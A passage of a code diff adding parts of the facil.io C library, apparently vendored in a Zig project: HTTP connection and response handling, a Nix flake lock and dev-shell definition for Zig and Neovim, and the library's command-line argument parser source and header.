+}
+
+/* this will be called when the connection has incoming data. */
+void light_http_on_data(intptr_t uuid, fio_protocol_s *pr) {
+  /* We will read some / all of the data */
+  light_http_s *h = (light_http_s *)pr;
+  ssize_t tmp =
+      fio_read(uuid, (char *)(h + 1) + h->buf_writer,
+               (MAX_HTTP_HEADER_LENGTH + MIN_HTTP_READFILE) - h->buf_writer);
+  if (tmp <= 0) {
+    /* reading failed, we're done. */
+    return;
+  }
+  h->buf_writer += tmp;
+  /* feed the parser until it's done consuminng data. */
+  do {
+    tmp = http1_fio_parser(.parser = &h->parser,
+                           .buffer = (char *)(h + 1) + h->buf_reader,
+                           .length = h->buf_writer - h->buf_reader,
+                           .on_request = light_http1_on_request,
+                           .on_response = light_http1_on_response,
+                           .on_method = light_http1_on_method,
+                           .on_status = light_http1_on_status,
+                           .on_path = light_http1_on_path,
+                           .on_query = light_http1_on_query,
+                           .on_http_version = light_http1_on_http_version,
+                           .on_header = light_http1_on_header,
+                           .on_body_chunk = light_http1_on_body_chunk,
+                           .on_error = light_http1_on_error);
+    if (fio_str_len(&h->body)) {
+      /* when reading to a body, the data is copied */
+      /* keep the reading position at buf_reader. */
+      h->buf_writer -= tmp;
+      if (h->buf_writer != h->buf_reader) {
+        /* some data wasn't processed, move it to the writer's position*/
+        memmove((char *)(h + 1) + h->buf_reader,
+                (char *)(h + 1) + h->buf_reader + tmp,
+                h->buf_writer - h->buf_reader);
+      }
+    } else {
+      /* since we didn't copy the data, we need to move the reader forward */
+      h->buf_reader += tmp;
+      if (h->reset) {
+        h->header_count = 0;
+        /* a request just finished, move the reader back to 0... */
+        /* and test for HTTP pipelinig. */
+        h->buf_writer -= h->buf_reader;
+        if (h->buf_writer) {
+          memmove((char *)(h + 1), (char *)(h + 1) + h->buf_reader,
+                  h->buf_writer);
+        }
+        h->buf_reader = 0;
+      }
+    }
+  } while ((size_t)tmp);
+}
+
+/* this will be called when the connection is closed. */
+void light_http_on_close(intptr_t uuid, fio_protocol_s *pr) {
+  /* in case we lost connection midway */
+  fio_str_free(&((light_http_s *)pr)->body);
+  /* free our protocol data and resources */
+  free(pr);
+  (void)uuid;
+}
+
+/* *****************************************************************************
+Fast HTTP response handling
+***************************************************************************** */
+
+void light_http_send_response(intptr_t uuid, int status,
+                              fio_str_info_s status_str, size_t header_count,
+                              fio_str_info_s headers[][2],
+                              fio_str_info_s body) {
+  static size_t date_len = 0; /* TODO: implement a date header when missing */
+
+  size_t total_len = 9 + 4 + 15 + 20 /* max content length */ + 2 +
+                     status_str.len + 2 + date_len + 7 + 2 + body.len;
+  for (size_t i = 0; i < header_count; ++i) {
+    total_len += headers[i][0].len + 1 + headers[i][1].len + 2;
+  }
+  if (status < 100 || status > 999)
+    status = 500;
+  fio_str_s *response = fio_str_new2();
+  fio_str_capa_assert(response, total_len);
+  fio_str_write(response, "HTTP/1.1 ", 9);
+  fio_str_write_i(response, status);
+  fio_str_write(response, status_str.data, status_str.len);
+  fio_str_write(response, "\r\nContent-Length:", 17);
+  fio_str_write_i(response, body.len);
+  fio_str_write(response, "\r\n", 2);
+
+  // memcpy(pos, "Date:", 5);
+  // pos += 5;
+  // pos += http_time2str(pos, facil_last_tick().tv_sec);
+  // *pos++ = '\r';
+  // *pos++ = '\n';
+
+  for (size_t i = 0; i < header_count; ++i) {
+    fio_str_write(response, headers[i][0].data, headers[i][0].len);
+    fio_str_write(response, ":", 1);
+    fio_str_write(response, headers[i][1].data, headers[i][1].len);
+    fio_str_write(response, "\r\n", 2);
+  }
+  fio_str_write(response, "\r\n", 2);
+  if (body.len && body.data)
+    fio_str_write(response, body.data, body.len);
+  fio_str_send_free2(uuid, response);
+}

facil.io/flake.lock

@@ -0,0 +1,203 @@
+{
+  "nodes": {
+    "flake-compat": {
+      "flake": false,
+      "locked": {
+        "lastModified": 1673956053,
+        "narHash": "sha256-4gtG9iQuiKITOjNQQeQIpoIB6b16fm+504Ch3sNKLd8=",
+        "owner": "edolstra",
+        "repo": "flake-compat",
+        "rev": "35bb57c0c8d8b62bbfd284272c928ceb64ddbde9",
+        "type": "github"
+      },
+      "original": {
+        "owner": "edolstra",
+        "repo": "flake-compat",
+        "type": "github"
+      }
+    },
+    "flake-compat_2": {
+      "flake": false,
+      "locked": {
+        "lastModified": 1673956053,
+        "narHash": "sha256-4gtG9iQuiKITOjNQQeQIpoIB6b16fm+504Ch3sNKLd8=",
+        "owner": "edolstra",
+        "repo": "flake-compat",
+        "rev": "35bb57c0c8d8b62bbfd284272c928ceb64ddbde9",
+        "type": "github"
+      },
+      "original": {
+        "owner": "edolstra",
+        "repo": "flake-compat",
+        "type": "github"
+      }
+    },
+    "flake-utils": {
+      "inputs": {
+        "systems": "systems"
+      },
+      "locked": {
+        "lastModified": 1689068808,
+        "narHash": "sha256-6ixXo3wt24N/melDWjq70UuHQLxGV8jZvooRanIHXw0=",
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "rev": "919d646de7be200f3bf08cb76ae1f09402b6f9b4",
+        "type": "github"
+      },
+      "original": {
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "type": "github"
+      }
+    },
+    "flake-utils_2": {
+      "inputs": {
+        "systems": "systems_2"
+      },
+      "locked": {
+        "lastModified": 1685518550,
+        "narHash": "sha256-o2d0KcvaXzTrPRIo0kOLV0/QXHhDQ5DTi+OxcjO8xqY=",
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "rev": "a1720a10a6cfe8234c0e93907ffe81be440f4cef",
+        "type": "github"
+      },
+      "original": {
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "type": "github"
+      }
+    },
+    "flake-utils_3": {
+      "locked": {
+        "lastModified": 1659877975,
+        "narHash": "sha256-zllb8aq3YO3h8B/U0/J1WBgAL8EX5yWf5pMj3G0NAmc=",
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "rev": "c0e246b9b83f637f4681389ecabcb2681b4f3af0",
+        "type": "github"
+      },
+      "original": {
+        "owner": "numtide",
+        "repo": "flake-utils",
+        "type": "github"
+      }
+    },
+    "neovim-flake": {
+      "inputs": {
+        "flake-utils": "flake-utils_2",
+        "nixpkgs": [
+          "nixpkgs"
+        ]
+      },
+      "locked": {
+        "dir": "contrib",
+        "lastModified": 1691226237,
+        "narHash": "sha256-/+JDL1T9dFh2NqCOXqsLSNjrRcsKAMWdJiARq54qx6c=",
+        "owner": "neovim",
+        "repo": "neovim",
+        "rev": "42630923fc00633d806af97c1792b2ed4a71e1cc",
+        "type": "github"
+      },
+      "original": {
+        "dir": "contrib",
+        "owner": "neovim",
+        "repo": "neovim",
+        "type": "github"
+      }
+    },
+    "nixpkgs": {
+      "locked": {
+        "lastModified": 1691235410,
+        "narHash": "sha256-kdUw6loESRxuQEz+TJXE9TdSBs2aclaF1Yrro+u8NlM=",
+        "owner": "nixos",
+        "repo": "nixpkgs",
+        "rev": "d814a2776b53f65ea73c7403f3efc2e3511c7dbb",
+        "type": "github"
+      },
+      "original": {
+        "owner": "nixos",
+        "ref": "release-23.05",
+        "repo": "nixpkgs",
+        "type": "github"
+      }
+    },
+    "nixpkgs_2": {
+      "locked": {
+        "lastModified": 1689088367,
+        "narHash": "sha256-Y2tl2TlKCWEHrOeM9ivjCLlRAKH3qoPUE/emhZECU14=",
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "5c9ddb86679c400d6b7360797b8a22167c2053f8",
+        "type": "github"
+      },
+      "original": {
+        "owner": "NixOS",
+        "ref": "release-23.05",
+        "repo": "nixpkgs",
+        "type": "github"
+      }
+    },
+    "root": {
+      "inputs": {
+        "flake-compat": "flake-compat",
+        "flake-utils": "flake-utils",
+        "neovim-flake": "neovim-flake",
+        "nixpkgs": "nixpkgs",
+        "zig": "zig"
+      }
+    },
+    "systems": {
+      "locked": {
+        "lastModified": 1681028828,
+        "narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
+        "owner": "nix-systems",
+        "repo": "default",
+        "rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
+        "type": "github"
+      },
+      "original": {
+        "owner": "nix-systems",
+        "repo": "default",
+        "type": "github"
+      }
+    },
+    "systems_2": {
+      "locked": {
+        "lastModified": 1681028828,
+        "narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=",
+        "owner": "nix-systems",
+        "repo": "default",
+        "rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e",
+        "type": "github"
+      },
+      "original": {
+        "owner": "nix-systems",
+        "repo": "default",
+        "type": "github"
+      }
+    },
+    "zig": {
+      "inputs": {
+        "flake-compat": "flake-compat_2",
+        "flake-utils": "flake-utils_3",
+        "nixpkgs": "nixpkgs_2"
+      },
+      "locked": {
+        "lastModified": 1691237213,
+        "narHash": "sha256-RReB+o6jjJXjCHHJSny0p7NR/kNOu57jXEDX7jq9bp0=",
+        "owner": "mitchellh",
+        "repo": "zig-overlay",
+        "rev": "a9d85674542108318187831fbf376704b71590f3",
+        "type": "github"
+      },
+      "original": {
+        "owner": "mitchellh",
+        "repo": "zig-overlay",
+        "type": "github"
+      }
+    }
+  },
+  "root": "root",
+  "version": 7
+}

facil.io/flake.nix

@@ -0,0 +1,67 @@
+{
+  description = "zap dev shell";
+
+  inputs = {
+    nixpkgs.url = "github:nixos/nixpkgs/release-23.05";
+    flake-utils.url = "github:numtide/flake-utils";
+
+    # required for latest zig
+    zig.url = "github:mitchellh/zig-overlay";
+
+    # required for latest neovim
+    neovim-flake.url = "github:neovim/neovim?dir=contrib";
+    neovim-flake.inputs.nixpkgs.follows = "nixpkgs";
+
+    # Used for shell.nix
+    flake-compat = {
+      url = github:edolstra/flake-compat;
+      flake = false;
+    };
+  };
+
+  outputs = {
+    self,
+    nixpkgs,
+    flake-utils,
+    ...
+  } @ inputs: let
+    overlays = [
+      # Other overlays
+      (final: prev: {
+        zigpkgs = inputs.zig.packages.${prev.system};
+        neovim-nightly-pkgs = inputs.neovim-flake.packages.${prev.system};
+      })
+    ];
+
+    # Our supported systems are the same supported systems as the Zig binaries
+    systems = builtins.attrNames inputs.zig.packages;
+  in
+    flake-utils.lib.eachSystem systems (
+      system: let
+        pkgs = import nixpkgs {inherit overlays system; };
+      in rec {
+        devShells.default = pkgs.mkShell {
+          nativeBuildInputs = with pkgs; [
+            neovim-nightly-pkgs.neovim
+            zigpkgs."0.11.0"
+          ];
+
+          buildInputs = with pkgs; [
+            # we need a version of bash capable of being interactive
+            # as opposed to a bash just used for building this flake 
+            # in non-interactive mode
+            bashInteractive 
+          ];
+
+          shellHook = ''
+            # once we set SHELL to point to the interactive bash, neovim will 
+            # launch the correct $SHELL in its :terminal 
+            export SHELL=${pkgs.bashInteractive}/bin/bash
+          '';
+        };
+
+        # For compatibility with older versions of the `nix` binary
+        devShell = self.devShells.${system}.default;
+      }
+    );
+}

facil.io/lib/facil/cli/fio_cli.c

@@ -0,0 +1,431 @@
+/*
+Copyright: Boaz segev, 2017
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#include <fio.h>
+
+#include <fio_cli.h>
+
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <strings.h>
+
+/* *****************************************************************************
+CLI Data Stores
+***************************************************************************** */
+
+typedef struct {
+  size_t len;
+  const char *data;
+} cstr_s;
+
+#define FIO_SET_OBJ_TYPE const char *
+#define FIO_SET_KEY_TYPE cstr_s
+#define FIO_SET_KEY_COMPARE(o1, o2)                                            \
+  (o1.len == o2.len &&                                                         \
+   (o1.data == o2.data || !memcmp(o1.data, o2.data, o1.len)))
+#define FIO_SET_NAME fio_cli_hash
+#include <fio.h>
+
+static fio_cli_hash_s fio_aliases = FIO_SET_INIT;
+static fio_cli_hash_s fio_values = FIO_SET_INIT;
+static size_t fio_unnamed_count = 0;
+
+typedef struct {
+  int unnamed_min;
+  int unnamed_max;
+  int pos;
+  int unnamed_count;
+  int argc;
+  char const **argv;
+  char const *description;
+  char const **names;
+} fio_cli_parser_data_s;
+
+/** this will allow the function definition fio_cli_start to avoid the MACRO */
+#define AVOID_MACRO
+
+#define FIO_CLI_HASH_VAL(s)                                                    \
+  fio_risky_hash((s).data, (s).len, (uint64_t)fio_cli_start)
+
+/* *****************************************************************************
+CLI Parsing
+***************************************************************************** */
+
+/* *****************************************************************************
+CLI Parsing
+***************************************************************************** */
+
+static void fio_cli_map_line2alias(char const *line) {
+  cstr_s n = {.data = line};
+  while (n.data[0] == '-') {
+    while (n.data[n.len] && n.data[n.len] != ' ' && n.data[n.len] != ',') {
+      ++n.len;
+    }
+    const char *old = NULL;
+    fio_cli_hash_insert(&fio_aliases, FIO_CLI_HASH_VAL(n), n, (void *)line,
+                        &old);
+    if (old) {
+      FIO_LOG_WARNING("CLI argument name conflict detected\n"
+                      "         The following two directives conflict:\n"
+                      "\t%s\n\t%s\n",
+                      old, line);
+    }
+
+    while (n.data[n.len] && (n.data[n.len] == ' ' || n.data[n.len] == ',')) {
+      ++n.len;
+    }
+    n.data += n.len;
+    n.len = 0;
+  }
+}
+
+static char const *fio_cli_get_line_type(fio_cli_parser_data_s *parser,
+                                         const char *line) {
+  if (!line) {
+    return NULL;
+  }
+  char const **pos = parser->names;
+  while (*pos) {
+    switch ((intptr_t)*pos) {
+    case FIO_CLI_STRING__TYPE_I:       /* fallthrough */
+    case FIO_CLI_BOOL__TYPE_I:         /* fallthrough */
+    case FIO_CLI_INT__TYPE_I:          /* fallthrough */
+    case FIO_CLI_PRINT__TYPE_I:        /* fallthrough */
+    case FIO_CLI_PRINT_HEADER__TYPE_I: /* fallthrough */
+      ++pos;
+      continue;
+    }
+    if (line == *pos) {
+      goto found;
+    }
+    ++pos;
+  }
+  return NULL;
+found:
+  switch ((size_t)pos[1]) {
+  case FIO_CLI_STRING__TYPE_I:       /* fallthrough */
+  case FIO_CLI_BOOL__TYPE_I:         /* fallthrough */
+  case FIO_CLI_INT__TYPE_I:          /* fallthrough */
+  case FIO_CLI_PRINT__TYPE_I:        /* fallthrough */
+  case FIO_CLI_PRINT_HEADER__TYPE_I: /* fallthrough */
+    return pos[1];
+  }
+  return NULL;
+}
+
+static void fio_cli_set_arg(cstr_s arg, char const *value, char const *line,
+                            fio_cli_parser_data_s *parser) {
+  /* handle unnamed argument */
+  if (!line || !arg.len) {
+    if (!value) {
+      goto print_help;
+    }
+    if (!strcmp(value, "-?") || !strcasecmp(value, "-h") ||
+        !strcasecmp(value, "-help") || !strcasecmp(value, "--help")) {
+      goto print_help;
+    }
+    cstr_s n = {.len = ++parser->unnamed_count};
+    fio_cli_hash_insert(&fio_values, n.len, n, value, NULL);
+    if (parser->unnamed_max >= 0 &&
+        parser->unnamed_count > parser->unnamed_max) {
+      arg.len = 0;
+      goto error;
+    }
+    return;
+  }
+
+  /* validate data types */
+  char const *type = fio_cli_get_line_type(parser, line);
+  switch ((size_t)type) {
+  case FIO_CLI_BOOL__TYPE_I:
+    if (value && value != parser->argv[parser->pos + 1]) {
+      goto error;
+    }
+    value = "1";
+    break;
+  case FIO_CLI_INT__TYPE_I:
+    if (value) {
+      char const *tmp = value;
+      fio_atol((char **)&tmp);
+      if (*tmp) {
+        goto error;
+      }
+    }
+    /* fallthrough */
+  case FIO_CLI_STRING__TYPE_I:
+    if (!value)
+      goto error;
+    if (!value[0])
+      goto finish;
+    break;
+  }
+
+  /* add values using all aliases possible */
+  {
+    cstr_s n = {.data = line};
+    while (n.data[0] == '-') {
+      while (n.data[n.len] && n.data[n.len] != ' ' && n.data[n.len] != ',') {
+        ++n.len;
+      }
+      fio_cli_hash_insert(&fio_values, FIO_CLI_HASH_VAL(n), n, value, NULL);
+      while (n.data[n.len] && (n.data[n.len] == ' ' || n.data[n.len] == ',')) {
+        ++n.len;
+      }
+      n.data += n.len;
+      n.len = 0;
+    }
+  }
+
+finish:
+
+  /* handle additional argv progress (if value is on separate argv) */
+  if (value && parser->pos < parser->argc &&
+      value == parser->argv[parser->pos + 1])
+    ++parser->pos;
+  return;
+
+error: /* handle errors*/
+  /* TODO! */
+  fprintf(stderr, "\n\r\x1B[31mError:\x1B[0m unknown argument %.*s %s %s\n\n",
+          (int)arg.len, arg.data, arg.len ? "with value" : "",
+          value ? (value[0] ? value : "(empty)") : "(null)");
+print_help:
+  fprintf(stderr, "\n%s\n",
+          parser->description ? parser->description
+                              : "This application accepts any of the following "
+                                "possible arguments:");
+  /* print out each line's arguments */
+  char const **pos = parser->names;
+  while (*pos) {
+    switch ((intptr_t)*pos) {
+    case FIO_CLI_STRING__TYPE_I: /* fallthrough */
+    case FIO_CLI_BOOL__TYPE_I:   /* fallthrough */
+    case FIO_CLI_INT__TYPE_I:    /* fallthrough */
+    case FIO_CLI_PRINT__TYPE_I:  /* fallthrough */
+    case FIO_CLI_PRINT_HEADER__TYPE_I:
+      ++pos;
+      continue;
+    }
+    type = (char *)FIO_CLI_STRING__TYPE_I;
+    switch ((intptr_t)pos[1]) {
+    case FIO_CLI_PRINT__TYPE_I:
+      fprintf(stderr, "%s\n", pos[0]);
+      pos += 2;
+      continue;
+    case FIO_CLI_PRINT_HEADER__TYPE_I:
+      fprintf(stderr, "\n\x1B[4m%s\x1B[0m\n", pos[0]);
+      pos += 2;
+      continue;
+
+    case FIO_CLI_STRING__TYPE_I: /* fallthrough */
+    case FIO_CLI_BOOL__TYPE_I:   /* fallthrough */
+    case FIO_CLI_INT__TYPE_I:    /* fallthrough */
+      type = pos[1];
+    }
+    /* print line @ pos, starting with main argument name */
+    int alias_count = 0;
+    int first_len = 0;
+    size_t tmp = 0;
+    char const *const p = *pos;
+    while (p[tmp] == '-') {
+      while (p[tmp] && p[tmp] != ' ' && p[tmp] != ',') {
+        if (!alias_count)
+          ++first_len;
+        ++tmp;
+      }
+      ++alias_count;
+      while (p[tmp] && (p[tmp] == ' ' || p[tmp] == ',')) {
+        ++tmp;
+      }
+    }
+    switch ((size_t)type) {
+    case FIO_CLI_STRING__TYPE_I:
+      fprintf(stderr, " \x1B[1m%.*s\x1B[0m\x1B[2m <>\x1B[0m\t%s\n", first_len,
+              p, p + tmp);
+      break;
+    case FIO_CLI_BOOL__TYPE_I:
+      fprintf(stderr, " \x1B[1m%.*s\x1B[0m   \t%s\n", first_len, p, p + tmp);
+      break;
+    case FIO_CLI_INT__TYPE_I:
+      fprintf(stderr, " \x1B[1m%.*s\x1B[0m\x1B[2m ##\x1B[0m\t%s\n", first_len,
+              p, p + tmp);
+      break;
+    }
+    /* print aliase information */
+    tmp = first_len;
+    while (p[tmp] && (p[tmp] == ' ' || p[tmp] == ',')) {
+      ++tmp;
+    }
+    while (p[tmp] == '-') {
+      const size_t start = tmp;
+      while (p[tmp] && p[tmp] != ' ' && p[tmp] != ',') {
+        ++tmp;
+      }
+      int padding = first_len - (tmp - start);
+      if (padding < 0)
+        padding = 0;
+      switch ((size_t)type) {
+      case FIO_CLI_STRING__TYPE_I:
+        fprintf(stderr,
+                " \x1B[1m%.*s\x1B[0m\x1B[2m <>\x1B[0m%*s\t(same as "
+                "\x1B[1m%.*s\x1B[0m)\n",
+                (int)(tmp - start), p + start, padding, "", first_len, p);
+        break;
+      case FIO_CLI_BOOL__TYPE_I:
+        fprintf(stderr,
+                " \x1B[1m%.*s\x1B[0m   %*s\t(same as \x1B[1m%.*s\x1B[0m)\n",
+                (int)(tmp - start), p + start, padding, "", first_len, p);
+        break;
+      case FIO_CLI_INT__TYPE_I:
+        fprintf(stderr,
+                " \x1B[1m%.*s\x1B[0m\x1B[2m ##\x1B[0m%*s\t(same as "
+                "\x1B[1m%.*s\x1B[0m)\n",
+                (int)(tmp - start), p + start, padding, "", first_len, p);
+        break;
+      }
+    }
+
+    ++pos;
+  }
+  fprintf(stderr, "\nUse any of the following input formats:\n"
+                  "\t-arg <value>\t-arg=<value>\t-arg<value>\n"
+                  "\n"
+                  "Use the -h, -help or -? to get this information again.\n"
+                  "\n");
+  fio_cli_end();
+  exit(0);
+}
+
+static void fio_cli_end_promise(void *ignr_) {
+  /* make sure fio_cli_end is called before facil.io exists. */
+  fio_cli_end();
+  (void)ignr_;
+}
+
+void fio_cli_start AVOID_MACRO(int argc, char const *argv[], int unnamed_min,
+                               int unnamed_max, char const *description,
+                               char const **names) {
+  static fio_lock_i run_once = FIO_LOCK_INIT;
+  if (!fio_trylock(&run_once))
+    fio_state_callback_add(FIO_CALL_AT_EXIT, fio_cli_end_promise, NULL);
+  if (unnamed_max >= 0 && unnamed_max < unnamed_min)
+    unnamed_max = unnamed_min;
+  fio_cli_parser_data_s parser = {
+      .unnamed_min = unnamed_min,
+      .unnamed_max = unnamed_max,
+      .description = description,
+      .argc = argc,
+      .argv = argv,
+      .names = names,
+      .pos = 0,
+  };
+
+  if (fio_cli_hash_count(&fio_values)) {
+    fio_cli_end();
+  }
+
+  /* prepare aliases hash map */
+
+  char const **line = names;
+  while (*line) {
+    switch ((intptr_t)*line) {
+    case FIO_CLI_STRING__TYPE_I:       /* fallthrough */
+    case FIO_CLI_BOOL__TYPE_I:         /* fallthrough */
+    case FIO_CLI_INT__TYPE_I:          /* fallthrough */
+    case FIO_CLI_PRINT__TYPE_I:        /* fallthrough */
+    case FIO_CLI_PRINT_HEADER__TYPE_I: /* fallthrough */
+      ++line;
+      continue;
+    }
+    if (line[1] != (char *)FIO_CLI_PRINT__TYPE_I &&
+        line[1] != (char *)FIO_CLI_PRINT_HEADER__TYPE_I)
+      fio_cli_map_line2alias(*line);
+    ++line;
+  }
+
+  /* parse existing arguments */
+
+  while ((++parser.pos) < argc) {
+    char const *value = NULL;
+    cstr_s n = {.data = argv[parser.pos], .len = strlen(argv[parser.pos])};
+    if (parser.pos + 1 < argc) {
+      value = argv[parser.pos + 1];
+    }
+    const char *l = NULL;
+    while (n.len &&
+           !(l = fio_cli_hash_find(&fio_aliases, FIO_CLI_HASH_VAL(n), n))) {
+      --n.len;
+      value = n.data + n.len;
+    }
+    if (n.len && value && value[0] == '=') {
+      ++value;
+    }
+    // fprintf(stderr, "Setting %.*s to %s\n", (int)n.len, n.data, value);
+    fio_cli_set_arg(n, value, l, &parser);
+  }
+
+  /* Cleanup and save state for API */
+  fio_cli_hash_free(&fio_aliases);
+  fio_unnamed_count = parser.unnamed_count;
+  /* test for required unnamed arguments */
+  if (parser.unnamed_count < parser.unnamed_min)
+    fio_cli_set_arg((cstr_s){.len = 0}, NULL, NULL, &parser);
+}
+
+void fio_cli_end(void) {
+  fio_cli_hash_free(&fio_values);
+  fio_cli_hash_free(&fio_aliases);
+  fio_unnamed_count = 0;
+}
+/* *****************************************************************************
+CLI Data Access
+***************************************************************************** */
+
+/** Returns the argument's value as a NUL terminated C String. */
+char const *fio_cli_get(char const *name) {
+  cstr_s n = {.data = name, .len = strlen(name)};
+  if (!fio_cli_hash_count(&fio_values)) {
+    return NULL;
+  }
+  char const *val = fio_cli_hash_find(&fio_values, FIO_CLI_HASH_VAL(n), n);
+  return val;
+}
+
+/** Returns the argument's value as an integer. */
+int fio_cli_get_i(char const *name) {
+  char const *val = fio_cli_get(name);
+  if (!val)
+    return 0;
+  int i = (int)fio_atol((char **)&val);
+  return i;
+}
+
+/** Returns the number of unrecognized argument. */
+unsigned int fio_cli_unnamed_count(void) {
+  return (unsigned int)fio_unnamed_count;
+}
+
+/** Returns the unrecognized argument using a 0 based `index`. */
+char const *fio_cli_unnamed(unsigned int index) {
+  if (!fio_cli_hash_count(&fio_values) || !fio_unnamed_count) {
+    return NULL;
+  }
+  cstr_s n = {.data = NULL, .len = index + 1};
+  return fio_cli_hash_find(&fio_values, index + 1, n);
+}
+
+/**
+ * Sets the argument's value as a NUL terminated C String (no copy!).
+ *
+ * Note: this does NOT copy the C strings to memory. Memory should be kept
+ * alive until `fio_cli_end` is called.
+ */
+void fio_cli_set(char const *name, char const *value) {
+  cstr_s n = (cstr_s){.data = name, .len = strlen(name)};
+  fio_cli_hash_insert(&fio_values, FIO_CLI_HASH_VAL(n), n, value, NULL);
+}

facil.io/lib/facil/cli/fio_cli.h

@@ -0,0 +1,189 @@
+/*
+Copyright: Boaz segev, 2017
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#ifndef H_FIO_CLI_HELPER_H
+#define H_FIO_CLI_HELPER_H
+
+/* support C++ */
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* *****************************************************************************
+CLI API
+***************************************************************************** */
+
+/** Indicates the CLI argument should be a String (default). */
+#define FIO_CLI_STRING(line)
+/** Indicates the CLI argument is a Boolean value. */
+#define FIO_CLI_BOOL(line)
+/** Indicates the CLI argument should be an Integer (numerical). */
+#define FIO_CLI_INT(line)
+/** Indicates the CLI string should be printed as is. */
+#define FIO_CLI_PRINT(line)
+/** Indicates the CLI string should be printed as a header. */
+#define FIO_CLI_PRINT_HEADER(line)
+
+/**
+ * This function parses the Command Line Interface (CLI), creating a temporary
+ * "dictionary" that allows easy access to the CLI using their names or aliases.
+ *
+ * Command line arguments may be typed. If an optional type requirement is
+ * provided and the provided arument fails to match the required type, execution
+ * will end and an error message will be printed along with a short "help".
+ *
+ * The function / macro accepts the following arguments:
+ * - `argc`: command line argument count.
+ * - `argv`: command line argument list (array).
+ * - `unnamed_min`: the required minimum of un-named arguments.
+ * - `unnamed_max`: the maximum limit of un-named arguments.
+ * - `description`: a C string containing the program's description.
+ * - named arguments list: a list of C strings describing named arguments.
+ *
+ * The following optional type requirements are:
+ *
+ * * FIO_CLI_STRING(desc_line)       - (default) string argument.
+ * * FIO_CLI_BOOL(desc_line)         - boolean argument (no value).
+ * * FIO_CLI_INT(desc_line)          - integer argument.
+ * * FIO_CLI_PRINT_HEADER(desc_line) - extra header for output.
+ * * FIO_CLI_PRINT(desc_line)        - extra information for output.
+ *
+ * Argument names MUST start with the '-' character. The first word starting
+ * without the '-' character will begin the description for the CLI argument.
+ *
+ * The arguments "-?", "-h", "-help" and "--help" are automatically handled
+ * unless overridden.
+ *
+ * Un-named arguments shouldn't be listed in the named arguments list.
+ *
+ * Example use:
+ *
+ *    fio_cli_start(argc, argv, 0, 0, "this example accepts the following:",
+ *                  FIO_CLI_PRINT_HREADER("Concurrency:"),
+ *                  FIO_CLI_INT("-t -thread number of threads to run."),
+ *                  FIO_CLI_INT("-w -workers number of workers to run."),
+ *                  FIO_CLI_PRINT_HREADER("Address Binding:"),
+ *                  "-b, -address the address to bind to.",
+ *                  FIO_CLI_INT("-p,-port the port to bind to."),
+ *                  FIO_CLI_PRINT("\t\tset port to zero (0) for Unix s."),
+ *                  FIO_CLI_PRINT_HREADER("Logging:"),
+ *                  FIO_CLI_BOOL("-v -log enable logging."));
+ *
+ *
+ * This would allow access to the named arguments:
+ *
+ *      fio_cli_get("-b") == fio_cli_get("-address");
+ *
+ *
+ * Once all the data was accessed, free the parsed data dictionary using:
+ *
+ *      fio_cli_end();
+ *
+ * It should be noted, arguments will be recognized in a number of forms, i.e.:
+ *
+ *      app -t=1 -p3000 -a localhost
+ *
+ * This function is NOT thread safe.
+ */
+#define fio_cli_start(argc, argv, unnamed_min, unnamed_max, description, ...)  \
+  fio_cli_start((argc), (argv), (unnamed_min), (unnamed_max), (description),   \
+                (char const *[]){__VA_ARGS__, NULL})
+#define FIO_CLI_IGNORE
+/**
+ * Never use the function directly, always use the MACRO, because the macro
+ * attaches a NULL marker at the end of the `names` argument collection.
+ */
+void fio_cli_start FIO_CLI_IGNORE(int argc, char const *argv[], int unnamed_min,
+                                  int unnamed_max, char const *description,
+                                  char const **names);
+/**
+ * Clears the memory used by the CLI dictionary, removing all parsed data.
+ *
+ * This function is NOT thread safe.
+ */
+void fio_cli_end(void);
+
+/** Returns the argument's value as a NUL terminated C String. */
+char const *fio_cli_get(char const *name);
+
+/** Returns the argument's value as an integer. */
+int fio_cli_get_i(char const *name);
+
+/** This MACRO returns the argument's value as a boolean. */
+#define fio_cli_get_bool(name) (fio_cli_get((name)) != NULL)
+
+/** Returns the number of unnamed argument. */
+unsigned int fio_cli_unnamed_count(void);
+
+/** Returns the unnamed argument using a 0 based `index`. */
+char const *fio_cli_unnamed(unsigned int index);
+
+/**
+ * Sets the argument's value as a NUL terminated C String (no copy!).
+ *
+ * CAREFUL: This does not automatically detect aliases or type violations! it
+ * will only effect the specific name given, even if invalid. i.e.:
+ *
+ *     fio_cli_start(argc, argv,
+ *                  "this is example accepts the following options:",
+ *                  "-p -port the port to bind to", FIO_CLI_INT;
+ *
+ *     fio_cli_set("-p", "hello"); // fio_cli_get("-p") != fio_cli_get("-port");
+ *
+ * Note: this does NOT copy the C strings to memory. Memory should be kept alive
+ *       until `fio_cli_end` is called.
+ *
+ * This function is NOT thread safe.
+ */
+void fio_cli_set(char const *name, char const *value);
+
+/**
+ * This MACRO is the same as:
+ *
+ *     if(!fio_cli_get(name)) {
+ *       fio_cli_set(name, value)
+ *     }
+ *
+ * See fio_cli_set for notes and restrictions.
+ */
+#define fio_cli_set_default(name, value)                                       \
+  if (!fio_cli_get((name)))                                                    \
+    fio_cli_set(name, value);
+
+#ifdef __cplusplus
+} /* extern "C" */
+#endif
+
+/* *****************************************************************************
+Internal Macro Implementation
+***************************************************************************** */
+
+/** Used internally. */
+#define FIO_CLI_STRING__TYPE_I 0x1
+#define FIO_CLI_BOOL__TYPE_I 0x2
+#define FIO_CLI_INT__TYPE_I 0x3
+#define FIO_CLI_PRINT__TYPE_I 0x4
+#define FIO_CLI_PRINT_HEADER__TYPE_I 0x5
+
+#undef FIO_CLI_STRING
+#undef FIO_CLI_BOOL
+#undef FIO_CLI_INT
+#undef FIO_CLI_PRINT
+#undef FIO_CLI_PRINT_HEADER
+
+/** Indicates the CLI argument should be a String (default). */
